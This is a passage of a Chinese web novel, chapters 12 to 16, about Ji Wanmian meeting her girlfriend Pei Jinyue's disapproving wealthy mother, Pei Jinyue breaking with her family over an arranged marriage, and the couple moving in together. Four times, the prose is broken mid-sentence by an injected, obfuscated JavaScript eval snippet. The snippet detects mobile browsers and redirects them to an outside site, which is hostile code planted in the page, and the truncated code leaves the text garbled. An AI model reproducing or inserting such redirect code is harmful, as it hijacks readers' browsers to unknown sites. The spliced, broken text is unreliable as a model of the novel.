“好！”季晚眠生出被关心的雀跃，像小鸟一样不停点头。 通话彻底结束，季晚眠看了眼地址，之前为了出去找找灵感到过那边，不算太远。 她抓了抓头发，本想直接过去，结果走到门前，看到镜子里的自己陷入了沉思。 怎么能就这样过去见裴今月和她的妈妈呀！ 季晚眠迅速回到衣柜里，翻出自己最漂亮的裙子，搭一个薄外套，先不管冷不冷了，直接穿上吧。 而后，她飞快地坐回化妆镜前，将头发别了过去，又开始化起妆来，大概是心情好了些，加上手感来了，眼线化得顺畅极了，最后再涂个口红提点气血。 真不错。 应该是裴今月满意的样子。 季晚眠在化妆镜前自我欣赏了几秒，匆匆拿上了包就想出门，结果刚一走到门口，看着自己空空的手腕，又猛地转身，戴上裴今月给的手链后才彻底走出了这扇门。 好冷。 走在路上，季晚眠冷得浑身止不住的颤抖。 尤其是寒风吹过时，季晚眠感觉自己的每一寸皮肤都好似被刀割。 但即使这样，她也不会跑回去换成那些厚重的羽绒服。 没事的，忍一忍就好了。 都是为了能漂漂亮亮出现在裴今月家里。 “晚眠！” 陆渔的声音从身后传来。 季晚眠回头，望向朝自己走来的陆渔。 “你要出去……”陆渔走近了些，话说到一半，看到季晚眠后，直接开始夸了：“哇，好好看，你好适合这样打扮呀！” 季晚眠呢喃了几声“谢谢”后，就有些不好意思地垂下头，她有点不敢去好好想陆渔的话，也说不上缘由，从上次见面后，她就暗暗觉得对方也不像是直女——这可能是她自从发现自己是同性恋后觉醒的技能吧。 “我今天高兴，就多买了点菜打算弄午饭吃，你要不要一起啊？”陆渔晃了晃手里的菜，笑着说。 虽然季晚眠很心动，但她还是摇了摇头，想着要抓紧时间去找裴今月，所以只好婉拒：“不好意思啊，我得去见我女……” 季晚眠赶忙住了嘴，没继续往后说，大抵是刚和裴今月在一起太高兴，心里恨不得对全世界说裴今月是自己的女朋友。 陆渔像是没察觉什么异样，只是点了点头说：“那你快去找她吧，虽然她看上去很有耐心，但还是不能让人家等久了。” 季晚眠没多想，恰好心里着急，便赶忙挥手道了别，直接坐上了自己约的车。 坐在车里，季晚眠才猛然意识到陆渔话里的不对劲——陆渔是怎么知道她说的就是裴今月！ 难道昨天她们三个人碰在一起时，陆渔就看出什么了…… 季晚眠越想越觉得这个小陆渔有些不简单。 算了，先别想这个了。 季晚眠拿起手机，看着裴今月给自己发来的定位上显示的地址。 说实话，她到了现在，还是只要一想起自己要去的是裴今月的家，要去见的是裴今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912652|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的长辈，心里仍然在加速狂跳。 好紧张。 季晚眠企图在车上玩手机来分散注意力，然而，刚看了没多久她就开始晕车了。 不能玩手机，她就只好望向窗外了。 这座城市的风景在车窗里一幕幕闪过，仿佛就是记忆深处的一帧帧画面。 要是时间倒退到初次遇见裴今月的那一年，比起裴今月本人，她优渥的家境更是让人感慨。 季晚眠也有所耳闻，但她并不是多想了解，因为她觉得自己对裴今月就是纯真的爱恋。 旁人说她也挺会处事的，知道跟在有钱人后面玩，季晚眠很想否认这些人的言语，但她又实在不知该如何为自己辩解，难道她能有勇气跑到所有人面前说出“我不是图裴今月的钱，我只是想对裴今月好”的真心话？ 但是现在的季晚眠突然有些后悔了，不是后悔没图裴今月钱，而是后悔没有在别人谈起裴今月的家境时多听两句，这样她不但能更了解裴今月一些，还能让今天去这一趟不至于这么紧张。 在这一段行程里，季晚眠在心里排练了无数次该如何打招呼、如何开场找话题、如何让自己表现得更完美些。 既然裴今月选择了她，她就做得够好，可不能让裴今月觉得丢人。 手机铃声在车里响起，打岔了季晚眠的思路，她拿起一看，又是裴今月打来的。 裴今月问：“你要到了吗？” 季晚眠看了一眼行程，回答：“快了，应该不到十分钟。” “好。”裴今月说，“你让司机停在路边就行，我现在下楼来接你。” 季晚眠应了声：“好的！” 倏地，裴今月那边传来东西掉落在地上的声音，“啪嗒”一声，还不小，隔着电话都听得一清二楚。 听到声响传来，季晚眠好奇问：“你东西掉了吗？” 裴今月没多说，只回答了一个“嗯”。 季晚眠也没再多问，而是乖乖结束了通话，将手机握在手上，再次看向窗外，看裴今月会出现在哪里等她。 透过玻璃，她看到自己忍不住扬起的嘴角。 可能是想到裴今月会在前面的一个路边，等着她的出现，她莫名生出很心安的感觉。 就好像她们已经在一起了很久很久。 13. 第 13 章 到了。 季晚眠远远地就感受到了裴今月的存在。 果然，她一抬头，就看见了站在路边、也在朝这边看来的裴大小姐。 季晚眠让司机停在裴今月前面，下了车，快步朝裴今月走去。 看着面前人走来，裴今月像是认可地点了点头：“还挺快。” 难得被夸的季晚眠咧嘴笑了半天，原本想说“见你肯定要走快点喽”，可又怕这些话说出口实在太油腻，便只回答了一个：“我们隔得也不远。” 裴今月“嗯”了一声后，领着季晚眠朝自己家的方向走去。 季晚眠走到裴今月身旁，还没说什么话，却无意间窥见其脸上红红的印记，虽然面前人并未提及此事，但她还是看得一清二楚。 头一次看见裴今月受伤，季晚眠也顾不上别的了，直接抓着其手臂，仰头望向裴今月红红的痕迹，紧张得语速都加快了：“你脸上是怎么了？是谁打你了吗？” 风很大，吹得季晚眠掉落的碎发乱飞，就像她此刻慌乱的心情一样。 她身上很冷，以至于抓住裴今月的手也像是冰块。 裴今月睫毛颤了颤，没有立刻抽出手，而是偏向另一侧，轻声说：“摔的。” “谁会摔成这样啊……”季晚眠看着裴今月的面容，大概是不会告诉她原因了，于是她只能垂下头，闷声问：“疼吗？” 裴今月闻言，睫毛颤了颤，张开口，刚想说什么，却听到面前传来唤自己名字的声音。 “今月。” 这个声音响起时，裴今月的表情瞬间就变了。 季晚眠也循声望去，只看见一位仪态端庄的女人，眉眼间与裴今月有些相似，所以她推测这位就是裴今月的妈妈——裴言。 虽说裴言看上去也没那么凶，但季晚眠还是不自觉地咽了咽口水。 因为这人看上去与别的富太太不大相同，旁人大多穿金戴银，裴言身上首饰却算不上多，比起饰品，光是她浑身上下透着的成熟干练气质就叫人胆颤。 在与裴言对视的一刹那，明明对方是在客气地微笑，但季晚眠还是下意识地松开了抓着裴今月的手，立刻错开了目光，说不上来的心虚涌了上来。 “你就是季小姐吧？”裴言不动声色地打量了一下季晚眠，又笑着朝她走了过来。 季晚眠没说话，只是抿着唇点头。 裴言盯着季晚眠，默不作声地抬起了手。 一旁的裴今月皱眉，盯着裴言抬起的手问：“你要做什么？” “长得挺好看的。”裴言一边说着，一边轻轻将季晚眠的衣领理好。 而后，她偏头，笑着问裴今月：“我能做什么？” 季晚眠全程捏着掌心，紧张得心脏都快跳出来了，尤其是感受到裴今月的妈妈将手放在自己身上时，她感觉自己都要忘记怎么呼吸了。 这么冷的天，季晚眠感觉自己的手心快冒出汗了。 “别紧张，我是今月的妈妈。”裴言收回手，还顺势拍了拍季晚眠的肩膀。 季晚眠稍微放松了些，还在心里纠结是叫“裴太太好”还是“裴阿姨好”，叫前者更正式，叫后者更亲近。 刚刚坐在车上排练的无数遍开场全都泡汤，现在脑子一片空白，她都这么紧张了，脑子里居然还不合时宜冒出了“今月妈”这个搞笑称呼。 但裴言压根不想给季晚眠打招呼的机会，她笑着拿出纸巾擦了擦自己的手，用客气又疏远的语气开口说：“别担心，我不会像打今月那样打你的，因为你也不会有机会成为裴家的人。” “砰——” 季晚眠脑子里传来一声巨响，心再次被提到了嗓子眼。 她缓一会才抬起头，与面前笑着说狠心话的裴言对视，眼神里全是错愕与不解。 “别这么看我，我觉得我的话已经说得很明确了，每个人都有自己的命，你不属于这里。”裴言说完，便将纸巾丢进不远处的垃圾桶里。 裴言的话飘到耳朵边时，季晚眠心脏都快停止了跳动。 虽说她有想过今天可能会遇到一些困难，毕竟她们之间的感情并不是所有人都能接受的，但是季晚眠依旧坚信只要自己足够真诚、足够体现出真心，多大的难关也会挺过去的。 况且她们是相爱的，爱就能克服很多困难了啊。 可是她再怎么没想到裴今月的妈妈居然这么不认可她，甚至羞辱她，还不肯让她进家里。 季晚眠立在原地，半晌说不出话，她用余光看了一下旁边的裴今月，发现身边人只是低着头，没有说任何话。 她很委屈、很难受、很想问清楚裴今月为什么不说话，但她只要一看见其脸上红红的巴掌印，又会感到心疼，一点气都生不出来了，只觉得裴今月也会有什么苦衷。 难道她们的爱情就要在这一步结束了吗？ 可是她爱了裴今月这么多年，她又怎么舍得甘心？ 她咬着下唇，思索着自己若是想要和裴今月在一起，面临的难题远远不止面前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912653|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些，家世悬殊让她们的距离不能用“公里”来衡量，性别障碍让她们注定要面对不少闲言碎语与白眼冷落。 她胆子不大，性格敏感，不擅长与人争辩，就连被冤枉也只知道哭，这样子的她，就该远离这些事情。 但是，她今天要是走了，要是她之后再次想起被一位同学冤枉偷钱那天，裴今月晃动着裙摆朝她走来时的那一幕，自己的又该多么心痛，她又是否会遗憾自己的怯懦呢？ 于是，季晚眠决定勇敢一回。 为了裴今月，为了她自己。 “我不回去。”季晚眠抬起头，声音颤抖，但又很坚定，她说话简短，刻意避免自己发出哽咽的声音，“就算我是垃圾，我也喜欢裴今月，我想和她在一起。” 裴言双手抱臂，方才还礼貌的笑容逐渐消失，冷冷地望着季晚眠说：“季小姐，请你清楚，这不是小孩子过家家。” “我知道，裴太太，我都知道。”季晚眠深呼吸，让自己冷静了一些，大胆地对上裴今月妈妈的目光，保持口齿清晰，“我也是一个成年人，我知道自己现在在做什么，但既然我今天来了，还站在了您的面前，就足以见得我对裴今月的真心。” 裴言抬手掩唇，轻轻地嗤笑了一声，眉梢微扬，重复季晚眠的话：“对裴今月的真心？” 季晚眠重重地点了一下头。 她都能猜到对方会说出多么伤人心的话，无疑是嘲笑她幼稚或是讽刺她的真心配上她的家庭背景完全不值一提。 可是还没等到对面的回复，又从旁边冒出个人来。 “妈妈，先让季小姐进屋吧。” 那人走到裴言旁边，凑在其耳朵跟前说了几句话后，裴言就点了点头，招手让她们进了屋。 季晚眠看了一眼裴母旁边的女人，戴着金丝眼镜，气质简直与裴母一模一样，光是匆匆一眼的第一印象，就可以认定这人定也是雷厉风行的性格，感觉这两人完全是一个类型的年轻版与成熟版。 但是与裴母不同的一点是，这个女人的脖子上戴着一条银色项链，吊在心脏旁边的图形很像一条鱼。 显然，这项链与她散发出来的气质截然不同。 就在季晚眠多看两眼项链时，那人还朝她们这边投来了目光，还盯了很久。 对上视线时，她抿唇，心想，是不是自己该给人家打个招呼？ 倏地，季晚眠很明显感受到身旁的裴今月呼吸加快，整个身子都在轻微地发抖。 她在生气。 14. 第 14 章 跟在裴言身后，季晚眠来到裴家的那一刻，真的很难做到不感叹一句—— 好大一个别墅。 季晚眠头一回见这么大的场面，虽说她画漫画找背景的时候看过类似图片，但是第一次真真切切地走进传说里的豪华别墅里面，还是难免感到一些不可思议与震撼。 精致的家具与亮堂的地板，季晚眠来到这里，甚至连呼吸都觉得奢侈。 小时候看电视，看到女主与心上人家世悬殊而感到自卑时，季晚眠常常在想这有什么好自卑的，只要女主自己觉得不比别人低一等就好了。 可长大才发现，小时候能够轻轻松松说出的那些话，长大却再难说出来了，就算她从小到大都生活在父母的疼爱里，没吃过苦，也跟有钱人家的小孩做过朋友，但也来到裴今月的家以后，从走进来的一刹那，她还是感受到了强烈的自卑感。 这样的感觉是压不住的，无论季晚眠如何避免，它就像一场夏天的暴雨，毫不留情地淋了她一身。 看着前面的人都纷纷找好地方坐了下来，季晚眠手足无措地站在原地，望向了裴今月。 倏地，季晚眠感受到掌心一热，原来是裴今月牵起她的手，领着她一起坐在了沙发上。 裴言坐在对面，见到面前两人的一幕，冷笑一声，望着裴今月说：“真看不出我的小女儿原来这么深情。要不是思澈担心在外面被别人拍到，对公司造成不好的影响，不然我是不会随便让无关人士进屋的。” 作为“无关人士”的季晚眠垂下头，没有吭声，只是想要从裴今月的手里抽出来，却被对方握得更紧了。她有些错愕地看向裴今月，见其拧起眉，神情似是愠怒，便没继续抽手，任由裴今月握着。 她顺着裴今月的目光看去，只看到了年轻版的“裴言”，大概也就是刚刚提到的思澈，是裴今月的姐姐吗？怎么完全没听到裴今月提起过这个人？ 那人兴许是感受到了季晚眠的目光，也迎了上来，再次与季晚眠对视。 看不出对面心里在想什么，但不知为何，在与其这几秒，季晚眠察觉到这目光里，不是审视，而是说不上来的感觉。 “今月？这下怎么不说话了？刚刚跟我吵的时候不是很厉害吗？你之前已经胡闹过一次了，现在怎么还没长大？”裴言拿起面前的杯子，喝了一口水，咽下去后又慢悠悠开口：“那联姻一事……” “我不嫁。”裴今月彻底被激怒，一遍又一遍地扬声重复，“我不跟那个我不认识的结婚，而且我喜欢的人是女生！” 应该是最后一句话惹恼了裴言，她气得手都有些发抖，杯子猛地一下摔落在了地上，发出一声巨响。 看见保姆阿姨慌慌张张来收拾杯子碎渣的时候，季晚眠才猛地意识到电话里裴今月那边传来“砰”的一声原来并不是东西掉了，而是摔东西的声音。 看来刚刚她们就激烈地争吵过了，季晚眠吞了吞唾沫，心里生出了莫名的害怕与不安。 她觉得这场争吵可能早已注定好了结局，裴母的架势显然是要求裴今月去完成联姻，并对此势在必得。 所以，今天裴言让季晚眠来的意义应该是彻底与裴今月做个了断。 开始直截了当的不欢迎已经说清楚了一切—— 她不想让裴今月与季晚眠继续在一起。 无论是为了联姻，还是不接受同性恋，裴言都不想让这段感情继续了。 就在裴言气得发抖时，裴思澈在其旁，轻轻地拍着其后背，应该是在安慰。 见状，裴今月冷冷地说：“裴言女士，您有裴思澈一个女儿就够了。” 听到裴今月说出这句话，季晚眠将头埋得更低了，一直在心里默念—— 看不到我、看不到我…… 怎么一下子从争吵联姻变成了家庭里面的问题了？ “你！”裴言气得直接站起身，商人那般稳重成熟的气质一扫而空，只剩下一个母亲对不争气孩子的愤怒，“裴今月！你怎么能说出这样的话！” 裴今月嗤笑道：“是我的话说到你的心坎了？” 裴言抬起发颤的手，指着裴今月，却因太生气，半晌说不出话来，最后又坐回了沙发上，稍微压住了些愤怒，尽可能保持冷静，扶额问：“你可以不联姻，但一定要跟女人在一起吗？” “是。”裴今月坚定又果断，“我很清楚，我爱的人是女人。” 裴言轻轻叹了声气，问：“如果我不同意呢？” “我已经做出决定了。”裴今月回答，“无论你同不同意，我也会继续爱我想爱的人。” 裴言一直在摇头。 但还没等到裴言的回复，裴今月已经拉着在装透明人的季晚眠站起身，在裴言面前甩了一句：“这个家我也不回了，就算你停我的卡也无所谓。” 话音刚落，季晚眠就错愕地瞪圆双眼，还没等她消化好这句话，已经被裴今月拉着走了出去，只留下两个潇洒果断的背影给了身后人。 裴言皱眉，望着裴今月离开的身影，站起身想要去追，却被裴思澈拦住了。 “看来今月已经下定决心了，让她出去吃点苦头也是好的，也能变得成熟点。”裴思澈推了推眼镜，冷静地说。 裴言闻言，也放弃了出去追的念头，其实她也清楚自己追不回来，毕竟自己生的怎么会不了解。 今月这脾气性格，简直跟她年轻气盛时一模一样。 但怎么就喜欢同性呢？ 裴言百思不得其解，况且，家里也没人像这样啊。 裴思澈又给裴言递了一杯水，就在其喝水时，她轻轻咬了咬下唇，推了下眼镜，缓缓开口说：“我去联姻吧。” 裴言喝水的手颤了颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912654|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不解：“怎么能让你去联姻？” 裴思澈解释道：“首先，我与顾先生也见过面，比起今月，我更了解他，虽说顾家说我们家两个女儿她们都喜欢，但是我觉得今月的性格不太适合。其次，顾先生说过，说是成为他的妻子，更像是找一个势均力敌谈得拢的伙伴，所以他不会限制我的工作。最后一点，只是因为我想去。” 裴言听完裴思澈说出的这么多话，觉得每一条都很有道理，一开始不让思澈去联姻，是因为顾及思澈在公司里的作用很大，但既然思澈主动提起，倒也是个好主意——至少不用再去找那个不争气、不听话、任性的裴今月了。 刚刚生了气，她也有些累了，便没再多问，点点头表示认可，说：“那就尽快定下来吧。” 裴思澈问：“什么时候去顾家合适？” “就不久之后的元旦节吧。”裴言看了一下日历，找到比较合适的一天。 听到这个日期，裴思澈眨了眨眼睛，用指甲按了按掌心，但依然保持微笑，应了声“好”。 元旦节，多好啊。 跨过年后，崭新的一年又来到了。 这样就会忘记故人了。 裴思澈回到房间，点开小鱼头像的女孩，在聊天框删删改改，最后一个字都没发出去。 她摘下眼镜，模模糊糊地看昨天拍到的一张照片——正在看手臂伤口的女孩。 还记得女孩看到她拍的照片，打趣说“原来也有裴思澈不会的东西呀，来，让小渔来教教你”。 她轻笑，欣赏了很久，最后颤抖着指尖，点击「删除此照片」 向来谨慎的她，连「最近删除」里面也删了。 删得干净。 像是从未发生过。 点击删除键时，裴思澈仿佛又回到了不久前那次见面，女孩挥手与她告别，笑着说：“我们跨年那天再见！” 见不到了。 说不定游在她心里的那条小鱼在知道自己再一次被失约后，就下定决心不再联系她了。 这样最好了，互相不再纠缠，节约时间来做更高效率的事情。 裴思澈关掉手机，阖上眼，想要稍微放松一下。 可只是才闭上眼，她的眼前就闪过她的小鱼儿用小小的身躯搬重重的货物，最后因为纸箱没放稳，沉沉地摔了下去。见到这一幕时，原来只想站在不远处看一眼就走的她，还是忍不住走了过去，朝小鱼儿伸出了手。 早知道就不去了。 不去的话也不会约好跨年夜相见了。 她们这样注定就该分开的人，又何苦再见面呢，更别谈相爱了。 不知为何，她又想起了裴今月。 想起今月牵起爱人的手，不顾一切往前走的样子。 裴思澈嘴角微微泛起笑意，在心里说，就让相爱的人继续爱吧。 15. 第 15 章 虽说季晚眠之前幻想过无数次被裴今月这么牵着，什么都不用管，无视旁人的闲言碎语与打量目光，直直朝前走就好了，但是现下自己心愿真满足了，她又生出奇怪的感受。 其实她也说不清楚心里究竟是为方才在裴家经历的争吵而难受，还是为裴今月坚定地牵着自己而感到一些些高兴。 但季晚眠好好感受了一下自己的内心，很清楚心里还是难受的情绪占了多数。 因为她觉得这样的收场并不是好，众叛亲离、与家人断绝关系、有家不能回，这些事情加在一起，又能算是什么好结局。 坐在车上，季晚眠用余光观察旁边的裴今月。望向窗外沉思的大小姐，猜不透身边人的心思，唯有精致的脸上隐隐约约的红痕还是那么明显。 她好想问裴今月心里究竟在想什么，为什么这么突然做出了决定？前几日的心情不好也是因为联姻一事吗？可为什么不同她讲呢？ 算了，季晚眠将目光投向另一边，不再去看裴今月，怕自己不小心将心里的疑虑说出来惹得裴今月更加不高兴了。 只是还没到时候吧。 她已经数不清多少次这么安慰自己了。 然而，她旁边的大小姐，并没有她心里想象出来所谓“悲伤”的情绪。 裴今月望向窗外时，更多的是解脱。 埋藏在心里多年的秘密终于说了出来，哪怕已经猜想到今日的状况，她也并未胆怯。 早早的让裴言认清楚她爱的是女人，不但可以避开联姻，还可以为之后见年年做好准备。 想到这，裴今月竟然还生出了些许开心。 她已经设想过无数次年年来到她们家门后，没有受到冷落排挤，而是像一家人一样住在一起，高高兴兴的。 但年年不愿意住别墅也没关系，裴今月愿意陪着年年，住出租屋也行，哪里都行。 住在一起就行。 “那……”季晚眠纠结了很久，还是决定在下车前开口询问，“你之后要住哪？” 她不敢看着裴今月的眼睛问，怕自己心里的期盼表现得太明显。 “我住一个朋友家。”裴今月被打岔了思路，按照原来设想好的方式回答道。 季晚眠下意识地“啊”了一声，几秒后，她又觉得自己的情绪表现得太明显，赶忙假装无所谓地应了声：“好。” 倏地，裴今月话锋一转：“但，你要是方便的话……” 她顿了顿，刻意没再继续往后说，似是在等待季晚眠的回应。 “方便！”季晚眠立刻听出了裴今月的言外之意，连忙开口，“你知道的，我那还是住得下两个人的。” 裴今月没再推辞，点了点头，直接答应下来。 其实，她压根没去找一个住处，刚刚说的话也全是试探。 那些酒吧里认识的人也就几面之缘，她连联系方式都没留一个。 再加之懒得去接触新环境，又确定季晚眠住的地方挺安全的，索性暂时先住在季晚眠家算了，况且她相信——按照裴言的性子，要不了多少天就会打电话让她回家了。 季晚眠自然是不会想这么多的，她只会傻傻地想：太好啦，可以与裴今月同居了，再也不用想裴今月想得睡不着觉，只能苦苦等待一个电话的来到。 光是想想她们住在一起的画面，就能将她刚刚在裴家经历的那些事情全都抛之脑后了。 算了，过一天算一天吧。 下了车后，季晚眠领着裴今月一起去找了家餐馆吃饭。 “你要吃什么？”季晚眠将菜单放在裴今月面前说，“我之前来过这家店，我觉得挺好吃的，这里的菜也很符合你的口味。” 裴今月没有看，又直接将菜单递了回去，说：“还是你来选吧，随便选点你喜欢吃的就好。” 季晚眠受宠若惊地接了过来，精心挑选了好几道菜。 裴今月见对面人纠结这么久，问：“你点了什么？” “等会你就知道啦。”季晚眠笑着将菜单递给服务员，依然保持神秘，不肯直接告诉裴今月。 直到后来服务员将菜全都放在她们面前，裴今月才发现桌子上的菜肴全都是她之前在大学的时候喜欢吃的。 至于她吃不了或是不喜欢的菜，一点影子都没出现。 “我记得你上大学的时候就很喜欢这些，所以一口气全点啦。”季晚眠托着自己的脸，笑着说，“你随便吃，今天我请客。” 裴今月点了点头，心里暗暗涌出一些异样的感受，但她并没有多想，只是像理所应当般，默认接受了季晚眠的所有好意。 到了家里，季晚眠先让裴今月坐在沙发上，自己去快速收拾刚刚化妆没来得及收拾的化妆品。 摆放好后，她刚想给裴今月倒一杯水，才发现大小姐已经主动倒了水，甚至还给她也倒了一杯。 在握着手里的水杯时，季晚眠又惊讶又欢喜，只觉得这一刻，就好像是她们已经同居相处了很久。 她望着面前正在喝水的裴今月时，忍不住想笑，这就是多年暗恋成真的幸福感吗？ 生活真是太美好了啊—— 虽然季晚眠很想就这么坐在裴今月旁边，看电影也好、玩游戏也好、哪怕就随便闲聊几句都好，但她不行，她得上班！ 她得按时交稿啊！ 季晚眠第一次这么不想干活，别的时候就算再不想上班，哄哄自己也能去了，但现在有了裴今月在旁边，忍痛去上班实在是折磨。 “你先玩着，我要去上班啦？”季晚眠不舍得给裴今月说一声，强装坚强地走向距离客厅只有几步路的书桌前。 “嗯，等你。”裴今月回应说。 季晚眠脚步一顿，只觉得裴今月说出的“等你”二字，像是小猫在她心上挠一样。 就听到那么一句话，季晚眠瞬间生出不少干劲，从刚开始的不情不愿，立刻转变为使劲画、专心画、天塌了也要画。 因为画完就可以陪裴今月坐在一起玩啦。 她这个工作需要状态，所以趁今下午感觉还不错，一口气完成了今天的任务量。 忙得完全忘记时间，直到放下笔的那一刻，她才发现已经过去了六个多小时，在这么长的时间里，她连凳子都没离开，更别谈喝口水了。 季晚眠按着脖子后面，转了一圈脑袋，听到“咔咔”响了两声后，她才觉得脖子灵活了一点。 她站起身，扭动了一下身子。 嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912655|176930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——好疼。 她有些担心自己，可别年纪轻轻就骨头散架了，不然以后还怎么跟裴今月一起愉快地玩耍啊。 为了避免让裴今月看到自己痛得面目狰狞的狼狈模样，季晚眠等到身子舒服了些才走到了客厅。 刚想跟面前人打声招呼，结果看见其正在低头打字回消息。 所以季晚眠也没出声打扰，但又觉得一直站在其面前也傻傻的，于是她只好又坐回了书桌前。 裴今月就在她的不远处埋头看手机，而她也在不远处看着她的大小姐。 额间掉落的碎发遮住大小姐的额头，长长的睫毛也遮去了那双勾人的眼睛。 现在的裴今月安静又美好。 倏地，季晚眠又翻出自己在平板上给裴今月创作的画。 她要画出裴今月的各个神情。 况且现在，大小姐就坐在她的面前，她不需要再像之前一样想象。 真美。 光是画出草稿就够让季晚眠心动不已了。 她画的人物坐在沙发上，几乎没有动。 这样对她的创作来说很好。 裴今月自然是不会动了，因为她还在忙着打字—— 忙着回复祁绾绾的消息。 祁绾绾：「裴姐，我们好像问到一个和你描述很像的人了」 裴今月：「具体在哪？」 祁绾绾：「就在苏城，我们确定她应该是在这生活的了」 裴今月：「行，再多问问。问清楚后，我过两天就去一趟苏城」 祁绾绾：「好的」 一条条消息回复完，裴今月抬起头，望向面前的人，原来还在上班啊。 突然，说不上来缘由，她觉得有些庆幸——幸好季晚眠没有突然出现在她面前，看到她的聊天记录。 裴今月怕出错，怕错了一步，就找不到自己心心念念多年的年年。 她担心祁绾绾那群人一个不小心就认错了人，让她跑了个空，但是她更怕这些人碰见了年年本人，却吓到了人家。 要是吓到了年年，她又该如何出现在年年面前。 裴今月难以掩盖心里的担忧，不自觉地一直望向季晚眠的方向。 季晚眠也生怕自己出了一点错，怕错了一笔，就让这张画没有裴今月本人那般完美。 季晚眠静静地画着，就连每一根发丝都画得格外认真，她用心描绘着爱人的五官，一笔落下，全是满满的心意。 勾线时，她尽可能控制每一笔都流畅，千万不能像化眼线一样手抖，毕竟化妆化的是她自己，但这幅画可是画的裴今月。 幸好最后一笔落下时，整张画都出奇地完美，没有一点瑕疵。 季晚眠欣赏完自己的画，满意地笑着，抬起头的一刹那，她对上了裴今月的目光。 她第一次在裴今月的脸上看到了这么明显的开心，虽然并没有向她展现出明媚的笑容，但能感受到裴今月的高兴，她觉得自己的心情都变好了不少。 倏地，裴今月主动开了口：“明天我们一起出去一趟吧。” “好。”季晚眠先答应了下来，才接着往后问，“做什么？” 裴今月面不改色地回答说：“选戒指。” 16. 第 16 章 “选、选戒指？”季晚眠支支吾吾地重复道，惊讶得连话都说得有些不利索。 裴今月回了声“嗯”。 季晚眠还是觉得难以置信，但见到裴今月如此坚定的神情时，她将心里的疑惑收了回去，像小鸡啄米一样不停点头答应。 虽说她幻想过自己与裴今月相处的每一件事，但买戒指一事，她连幻想都觉得太虚假了。 这么快吗！ 季晚眠突然觉得有些不安，快速见家长，又立刻去买戒指……难道是因为裴今月着急让裴言知道她们二人已经下定决心，再也劝不回来了？ 她抬眼望向裴今月，发现对方一脸坦然冷静，倒显得她惊慌失措了。 季晚眠想了一下措辞，半晌后才委婉地开口问：“我需要先告知我的妈妈和爸爸吗？” 万一裴今月突如其然告诉她选完戒指就结婚呢，她得先做点准备。 在问出这句话后，季晚眠还有些提心吊胆，因为她也还没想好怎么跟家里面谈起这件事。 虽说之前跟季兰谈过关于她之后结婚嫁人一事，她们对此表示没什么要求，但突然跑去她们面前说自己是个同性恋，爱的是个女人，可能还是有些难以消化吧。 裴今月本不关心季晚眠告不告诉她的家人，但原来已经到嘴边的“随你”到底还是没说出来，想到她与季晚眠之后注定分开，还是不要让更多的人知道了。 所以她摇了摇头说：“暂时先不用。” 听到裴今月的回复后，季晚眠悄悄在心里松了口气，看来裴今月也可能并不是因为着急，而是单纯想与她一起选个代表誓言的戒指。 想到这，季晚眠就高兴得嘴角都压不住了，原先以为自己先爱上裴今月，在这段关系里也会更加主动些，但没想到主动的人竟然是她的裴大小姐。 “明天一早就去？”季晚眠话里是藏不住的笑意，到了后边高兴得不行，索性大大方方咧开嘴，笑得心里开了花。 裴今月应了下来：“好。” “那我再画一会，把明天的任务也完成了。”季晚眠突然又生出上班的干劲，浑身活力满满，连干活都觉得不累了。 不知画了多久，季晚眠肚子打鸣，她才猛地意识到，还没和裴今月一起吃晚饭呢。 要是往常，她饿的话忍一忍就好了，但今天不行，她可不能让裴今月来这里受一点委屈。 季晚眠暂且放下手上的工作，走到客厅里问裴今月：“你饿了吗？” 裴今月先是点了点头，又停了下来，回答：“还好。” 立在其面前的季晚眠看到这一幕后，脑子里不知闪过多少条“裴今月好可爱”的话语。 在外人看来，这位大小姐对所有人都很客气礼貌，但走近一点，又觉得此人浑身上下都透着淡淡的疏离感。 可是，季晚眠不这么觉得，她会觉得裴今月有时候很可爱、有时候很幼稚、有时候又很会关心人，这么多变的裴今月，是不能用一两个词来描述的。 “那我们就等会再吃？”季晚眠打趣说，想要故意逗逗这么可爱的裴今月。 